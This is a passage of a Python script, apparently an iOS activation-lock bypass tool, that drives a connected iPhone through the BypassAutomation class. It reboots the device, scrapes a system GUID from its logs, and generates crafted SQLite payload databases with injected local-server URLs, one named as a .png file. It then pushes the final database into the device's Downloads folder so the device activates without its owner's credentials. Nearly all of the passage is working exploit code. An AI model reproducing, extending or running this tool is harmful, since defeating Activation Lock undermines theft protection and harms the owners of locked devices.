  249. fixedfile_url = local_server.get_file_url(fixedfile_name)
  250. # 3. Create BLDatabase (belliloveu.png)
  251. # Inject URL 1
  252. bl_sql = BL_STRUCTURE_SQL.replace('KEYOOOOOO', fixedfile_url)
  253. token2 = binascii.hexlify(os.urandom(8)).decode()
  254. bl_db_name = f"belliloveu_{token2}.png"
  255. bl_db_path = os.path.join(self.server_root, bl_db_name)
  256. if not self._create_db_from_sql(bl_sql, bl_db_path): return None
  257. bl_url = local_server.get_file_url(bl_db_name)
  258. # 4. Create Final Downloads DB
  259. # Inject URL 2 and GUID
  260. dl_sql = DOWNLOADS_STRUCTURE_SQL.replace('https://google.com', bl_url)
  261. dl_sql = dl_sql.replace('GOODKEY', guid)
  262. token3 = binascii.hexlify(os.urandom(8)).decode()
  263. final_db_name = f"downloads_{token3}.sqlitedb" # Keep correct extension for local push
  264. final_db_path = os.path.join(self.server_root, final_db_name) # We don't serve this, we push it via USB
  265. if not self._create_db_from_sql(dl_sql, final_db_path): return None
  266. return final_db_path
  267. class BypassAutomation:
  268. def __init__(self):
  269. self.timeouts = {'asset_wait': 300, 'asset_delete_delay': 15, 'reboot_wait': 300, 'syslog_collect': 180}
  270. self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
  271. self.afc_mode = None
  272. self.device_info = {}
  273. self.guid = None
  274. # Server Components
  275. self.server = LocalServer()
  276. self.generator = PayloadGenerator(self.server.serve_dir, os.getcwd()) # Assets relative to CWD
  277. atexit.register(self._cleanup)
  278. def log(self, msg, level='info'):
  279. if level == 'info': print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
  280. elif level == 'error': print(f"{Style.RED}[✗]{Style.RESET} {msg}")
  281. elif level == 'warn': print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
  282. elif level == 'step':
  283. print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  284. print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
  285. print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
  286. elif level == 'detail': print(f"{Style.DIM} ╰─▶{Style.RESET} {msg}")
  287. elif level == 'success': print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
  288. def _run_cmd(self, cmd, timeout=None):
  289. try:
  290. res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
  291. return res.returncode, res.stdout.strip(), res.stderr.strip()
  292. except subprocess.TimeoutExpired: return 124, "", "Timeout"
  293. except Exception as e: return 1, "", str(e)
  294. def verify_dependencies(self):
  295. self.log("Verifying System Requirements...", "step")
  296. # Check for assets/Maker
  297. if not os.path.isdir(os.path.join(os.getcwd(), "assets", "Maker")):
  298. self.log("Missing 'assets/Maker' folder in current directory.", "error")
  299. sys.exit(1)
  300. if shutil.which("ifuse"): self.afc_mode = "ifuse"
  301. else: self.afc_mode = "pymobiledevice3"
  302. self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
  303. def mount_afc(self):
  304. if self.afc_mode != "ifuse": return True
  305. os.makedirs(self.mount_point, exist_ok=True)
  306. code, out, _ = self._run_cmd(["mount"])
  307. if self.mount_point in out: return True
  308. for i in range(5):
  309. if self._run_cmd(["ifuse", self.mount_point])[0] == 0: return True
  310. time.sleep(2)
  311. return False
  312. def unmount_afc(self):
  313. if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
  314. self._run_cmd(["umount", self.mount_point])
  315. try: os.rmdir(self.mount_point)
  316. except: pass
  317. def detect_device(self):
  318. self.log("Detecting Device...", "step")
  319. code, out, _ = self._run_cmd(["ideviceinfo"])
  320. if code != 0:
  321. self.log("No device found via USB", "error")
  322. sys.exit(1)
  323. info = {}
  324. for line in out.splitlines():
  325. if ": " in line:
  326. key, val = line.split(": ", 1)
  327. info[key.strip()] = val.strip()
  328. self.device_info = info
  329. print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
  330. print(f"UDID: {info.get('UniqueDeviceID','?')}")
  331. if info.get('ActivationState') == 'Activated':
  332. print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
  333. def get_guid(self):
  334. self.log("Extracting System Logs...", "step")
  335. udid = self.device_info['UniqueDeviceID']
  336. log_path = f"{udid}.logarchive"
  337. if os.path.exists(log_path): shutil.rmtree(log_path)
  338. self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=180)
  339. if not os.path.exists(log_path):
  340. self.log("Archive failed, trying live watch...", "warn")
  341. _, out, _ = self._run_cmd(["pymobiledevice3", "syslog", "watch"], timeout=60)
  342. logs = out
  343. else:
  344. tmp = "final.logarchive"
  345. if os.path.exists(tmp): shutil.rmtree(tmp)
  346. shutil.move(log_path, tmp)
  347. _, logs, _ = self._run_cmd(["/usr/bin/log", "show", "--style", "syslog", "--archive", tmp])
  348. shutil.rmtree(tmp)
  349. guid_pattern = re.compile(r'SystemGroup/([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})/')
  350. for line in logs.splitlines():
  351. if "BLDatabaseManager" in line:
  352. match = guid_pattern.search(line)
  353. if match: return match.group(1).upper()
  354. return None
  355. def run(self):
  356. os.system('clear')
  357. print(f"{Style.BOLD}{Style.MAGENTA}iOS Offline Activator (Python Edition){Style.RESET}\n")
  358. self.verify_dependencies()
  359. self.server.start() # Start HTTP server
  360. self.detect_device()
  361. input(f"{Style.YELLOW}Press Enter to start...{Style.RESET}")
  362. # 1. Reboot
  363. self.log("Rebooting device...", "step")
  364. self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
  365. time.sleep(30)
  366. # 2. Get GUID
  367. self.guid = self.get_guid()
  368. if not self.guid:
  369. self.log("Could not find GUID in logs.", "error")
  370. sys.exit(1)
  371. self.log(f"GUID: {self.guid}", "success")
  372. # 3. Generate Payloads (Offline Logic)
  373. self.log("Generating Payload (Offline)...", "step")
  374. final_db_path = self.generator.generate(
  375. self.device_info['ProductType'],
  376. self.guid,
  377. self.device_info['SerialNumber'],
  378. self.server
  379. )
  380. if not final_db_path:
  381. self.log("Payload generation failed.", "error")
  382. sys.exit(1)
  383. self.log("Payload Generated Successfully.", "success")
  384. # 4. Upload
  385. self.log("Uploading...", "step")
  386. target = "/Downloads/downloads.28.sqlitedb"
  387. if self.afc_mode == "ifuse":
  388. self.mount_afc()
  389. fpath = self.mount_point + target
  390. if os.path.exists(fpath): os.remove(fpath)
  391. shutil.copy(final_db_path, fpath)
  392. else:
  393. self._run_cmd(["pymobiledevice3", "afc", "rm", target])
  394. self._run_cmd(["pymobiledevice3", "afc", "push", final_db_path, target])
  395. self.log("Payload Deployed. Rebooting...", "success")
  396. self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
  397. print(f"\n{Style.GREEN}Process Complete. Device should activate after reboot.{Style.RESET}")
  398. # Keep script alive for server to serve files if needed by device immediately
  399. self.log("Keeping server alive for 60s to ensure downloads complete...", "info")
  400. time.sleep(60)
  401. self._cleanup()
  402. def _cleanup(self):
  403. self.unmount_afc()
  404. self.server.stop()
  405. if __name__ == "__main__":
  406. try:
  407. BypassAutomation().run()
  408. except KeyboardInterrupt:
  409. sys.exit(130)
  410. except Exception as e:
  411. print(f"Fatal Error: {e}")
  412. sys.exit(1)